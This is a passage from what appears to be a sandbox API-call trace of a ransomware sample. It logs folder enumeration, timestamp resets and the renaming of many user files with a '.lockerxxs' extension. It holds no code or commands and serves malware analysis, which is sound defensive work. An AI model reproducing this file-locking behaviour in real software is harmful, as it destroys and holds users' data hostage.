(hFile=0xa0, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.931] CloseHandle (hObject=0xa0) returned 1 [0088.931] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.931] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0088.934] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.934] CloseHandle (hObject=0x94) returned 1 [0088.938] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0088.942] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.942] CloseHandle (hObject=0x8c) returned 1 [0088.943] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\MxwzPaMR7Jm.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mxwzpamr7jm.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\MxwzPaMR7Jm.m4a.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mxwzpamr7jm.m4a.lockerxxs")) returned 1 [0088.945] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0088.948] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.949] CloseHandle (hObject=0x8c) returned 1 [0088.949] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\O-3c4 rN29B6.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\o-3c4 rn29b6.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\O-3c4 rN29B6.m4a.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\o-3c4 rn29b6.m4a.lockerxxs")) returned 1 [0088.951] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0088.954] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.954] CloseHandle (hObject=0x8c) returned 1 [0088.954] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\o-uUX LXJL8lOqKB.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\o-uux lxjl8loqkb.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\o-uUX LXJL8lOqKB.jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\o-uux lxjl8loqkb.jpg.lockerxxs")) returned 1 [0088.955] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0088.958] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.958] CloseHandle (hObject=0x8c) returned 1 [0088.958] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\o7Ejpmdog.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\o7ejpmdog.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\o7Ejpmdog.mp3.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\o7ejpmdog.mp3.lockerxxs")) returned 1 [0088.960] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0088.963] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.963] CloseHandle (hObject=0x8c) returned 1 [0088.963] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\oGDg 1IQMtQrn4fu.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ogdg 1iqmtqrn4fu.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\oGDg 1IQMtQrn4fu.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ogdg 1iqmtqrn4fu.png.lockerxxs")) returned 1 [0088.965] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0088.968] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.968] CloseHandle (hObject=0x8c) returned 1 [0088.968] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\OrlJOxdPRM5UrJhudtr.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\orljoxdprm5urjhudtr.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\OrlJOxdPRM5UrJhudtr.doc.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\orljoxdprm5urjhudtr.doc.lockerxxs")) returned 1 [0088.969] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0088.972] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.972] CloseHandle (hObject=0x8c) returned 1 [0088.972] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\P8EWdbtKQ.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\p8ewdbtkq.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\P8EWdbtKQ.csv.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\p8ewdbtkq.csv.lockerxxs")) returned 1 [0088.973] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0088.976] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.977] CloseHandle (hObject=0x8c) returned 1 [0088.977] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Qnimpxm.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\qnimpxm.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Qnimpxm.m4a.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\qnimpxm.m4a.lockerxxs")) returned 1 [0088.983] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.983] CloseHandle (hObject=0x8c) returned 1 [0088.984] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\s6Fb61FDn8xX03VK.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\s6fb61fdn8xx03vk.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\s6Fb61FDn8xX03VK.mp3.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\s6fb61fdn8xx03vk.mp3.lockerxxs")) returned 1 [0088.988] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.988] CloseHandle (hObject=0x8c) returned 1 [0088.989] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UMcP.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\umcp.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UMcP.jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\umcp.jpg.lockerxxs")) returned 1 [0088.992] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.992] CloseHandle (hObject=0x8c) returned 1 [0088.992] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\xjXmyx5 yemLMjpU4Y.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\xjxmyx5 yemlmjpu4y.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\xjXmyx5 yemLMjpU4Y.m4a.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\xjxmyx5 yemlmjpu4y.m4a.lockerxxs")) returned 1 [0088.999] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.999] CloseHandle (hObject=0x8c) returned 1 [0088.999] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_QserpG.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\_qserpg.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_QserpG.mp3.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\_qserpg.mp3.lockerxxs")) returned 1 [0089.001] lstrcmpA (lpString1=".", lpString2="Application Data") returned -1 [0089.001] lstrcmpA (lpString1="..", lpString2="Application Data") returned -1 [0089.001] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdb91e5e0, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f004c, dwReserved1=0x610063, cFileName="Roaming", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0089.001] lstrcmpA (lpString1=".", lpString2="Contacts") returned -1 [0089.001] lstrcmpA (lpString1="..", lpString2="Contacts") returned -1 [0089.001] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x5004f0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0089.002] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0089.002] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0089.002] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0089.004] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0089.004] CloseHandle (hObject=0x88) returned 1 [0089.005] lstrcmpA (lpString1=".", lpString2="Cookies") returned -1 [0089.005] lstrcmpA (lpString1="..", lpString2="Cookies") returned -1 [0089.005] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x0, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0089.005] lstrcmpA (lpString1=".", lpString2="Desktop") returned -1 [0089.005] lstrcmpA (lpString1="..", lpString2="Desktop") returned -1 [0089.005] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe6b6ce00, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xe6b6ce00, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0089.005] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0089.006] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0089.006] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0089.009] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0089.009] CloseHandle (hObject=0x88) returned 1 [0089.014] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.014] CloseHandle (hObject=0x88) returned 1 [0089.014] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\276PBTe02Uf.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\276pbte02uf.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\276PBTe02Uf.wav.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\276pbte02uf.wav.lockerxxs")) returned 1 [0089.017] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.019] CloseHandle (hObject=0x88) returned 1 [0089.019] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6KgP0PIaJQ7525H_7x.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6kgp0piajq7525h_7x.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6KgP0PIaJQ7525H_7x.mp3.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6kgp0piajq7525h_7x.mp3.lockerxxs")) returned 1 [0089.022] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.022] CloseHandle (hObject=0x88) returned 1 [0089.022] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9RwxDEZWl.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9rwxdezwl.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9RwxDEZWl.m4a.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9rwxdezwl.m4a.lockerxxs")) returned 1 [0089.023] lstrcmpA (lpString1=".", lpString2="aJiUxisNf5") returned -1 [0089.023] lstrcmpA (lpString1="..", lpString2="aJiUxisNf5") returned -1 [0089.023] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aJiUxisNf5\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3e10eb0, ftCreationTime.dwHighDateTime=0x1d5e73d, ftLastAccessTime.dwLowDateTime=0xbf2e7bf0, ftLastAccessTime.dwHighDateTime=0x1d5e2aa, ftLastWriteTime.dwLowDateTime=0xbf2e7bf0, ftLastWriteTime.dwHighDateTime=0x1d5e2aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x502518 [0089.024] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0089.024] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0089.024] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0089.028] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0089.028] CloseHandle (hObject=0x8c) returned 1 [0089.031] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.031] CloseHandle (hObject=0x88) returned 1 [0089.031] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bhRzbqbvnWs7N.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bhrzbqbvnws7n.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bhRzbqbvnWs7N.doc.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bhrzbqbvnws7n.doc.lockerxxs")) returned 1 [0089.036] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.036] CloseHandle (hObject=0x88) returned 1 [0089.036] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\c3_RJeJhJUpH6I1VXFK.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c3_rjejhjuph6i1vxfk.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\c3_RJeJhJUpH6I1VXFK.wav.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c3_rjejhjuph6i1vxfk.wav.lockerxxs")) returned 1 [0089.041] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.042] CloseHandle (hObject=0x88) returned 1 [0089.044] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cOWqq6I5 NvLQrMU1.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cowqq6i5 nvlqrmu1.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cOWqq6I5 NvLQrMU1.m4a.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cowqq6i5 nvlqrmu1.m4a.lockerxxs")) returned 1 [0089.047] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.048] CloseHandle (hObject=0x88) returned 1 [0089.048] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eNNujrkf.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ennujrkf.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eNNujrkf.doc.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ennujrkf.doc.lockerxxs")) returned 1 [0089.074] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.074] CloseHandle (hObject=0x88) returned 1 [0089.074] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FT4S2LYLO.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ft4s2lylo.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FT4S2LYLO.mp4.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ft4s2lylo.mp4.lockerxxs")) returned 1 [0089.080] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.080] CloseHandle (hObject=0x88) returned 1 [0089.080] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hADtD_J4h.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hadtd_j4h.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hADtD_J4h.csv.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hadtd_j4h.csv.lockerxxs")) returned 1 [0089.086] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.086] CloseHandle (hObject=0x88) returned 1 [0089.086] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\i52 m_.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i52 m_.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\i52 m_.wav.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i52 m_.wav.lockerxxs")) returned 1 [0089.093] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.093] CloseHandle (hObject=0x88) returned 1 [0089.093] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JVV6unlRo W5zI_DBhH.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jvv6unlro w5zi_dbhh.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JVV6unlRo W5zI_DBhH.jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jvv6unlro w5zi_dbhh.jpg.lockerxxs")) returned 1 [0089.098] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.098] CloseHandle (hObject=0x88) returned 1 [0089.098] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LA4Ip0wID.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\la4ip0wid.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LA4Ip0wID.m4a.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\la4ip0wid.m4a.lockerxxs")) returned 1 [0089.100] lstrcmpA (lpString1=".", lpString2="mb19jilzP svyDtfae2") returned -1 [0089.100] lstrcmpA (lpString1="..", lpString2="mb19jilzP svyDtfae2") returned -1 [0089.100] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mb19jilzP svyDtfae2\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc5ad6db0, ftCreationTime.dwHighDateTime=0x1d5e458, ftLastAccessTime.dwLowDateTime=0xec1ae280, ftLastAccessTime.dwHighDateTime=0x1d5db4c, ftLastWriteTime.dwLowDateTime=0xec1ae280, ftLastWriteTime.dwHighDateTime=0x1d5db4c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x502518 [0089.100] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0089.100] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0089.100] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0089.103] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0089.103] CloseHandle (hObject=0x8c) returned 1 [0089.108] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.108] CloseHandle (hObject=0x8c) returned 1 [0089.109] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mb19jilzP svyDtfae2\\5FaFuTI49Q.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mb19jilzp svydtfae2\\5fafuti49q.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mb19jilzP svyDtfae2\\5FaFuTI49Q.xlsx.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mb19jilzp svydtfae2\\5fafuti49q.xlsx.lockerxxs")) returned 1 [0089.113] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.113] CloseHandle (hObject=0x8c) returned 1 [0089.113] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mb19jilzP svyDtfae2\\aJX4v.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mb19jilzp svydtfae2\\ajx4v.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mb19jilzP svyDtfae2\\aJX4v.mp4.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mb19jilzp svydtfae2\\ajx4v.mp4.lockerxxs")) returned 1 [0089.119] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.119] CloseHandle (hObject=0x8c) returned 1 [0089.119] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mb19jilzP svyDtfae2\\vIJkCR5J.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mb19jilzp svydtfae2\\vijkcr5j.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mb19jilzP svyDtfae2\\vIJkCR5J.jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mb19jilzp svydtfae2\\vijkcr5j.jpg.lockerxxs")) returned 1 [0089.124] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.124] CloseHandle (hObject=0x88) returned 1 [0089.124] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oOnJIo.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oonjio.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oOnJIo.pptx.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oonjio.pptx.lockerxxs")) returned 1 [0089.128] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.128] CloseHandle (hObject=0x88) returned 1 [0089.128] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\W-pMNb4rl3xC.png" (normalized: "c:\\users\\5p5nrgjn0js 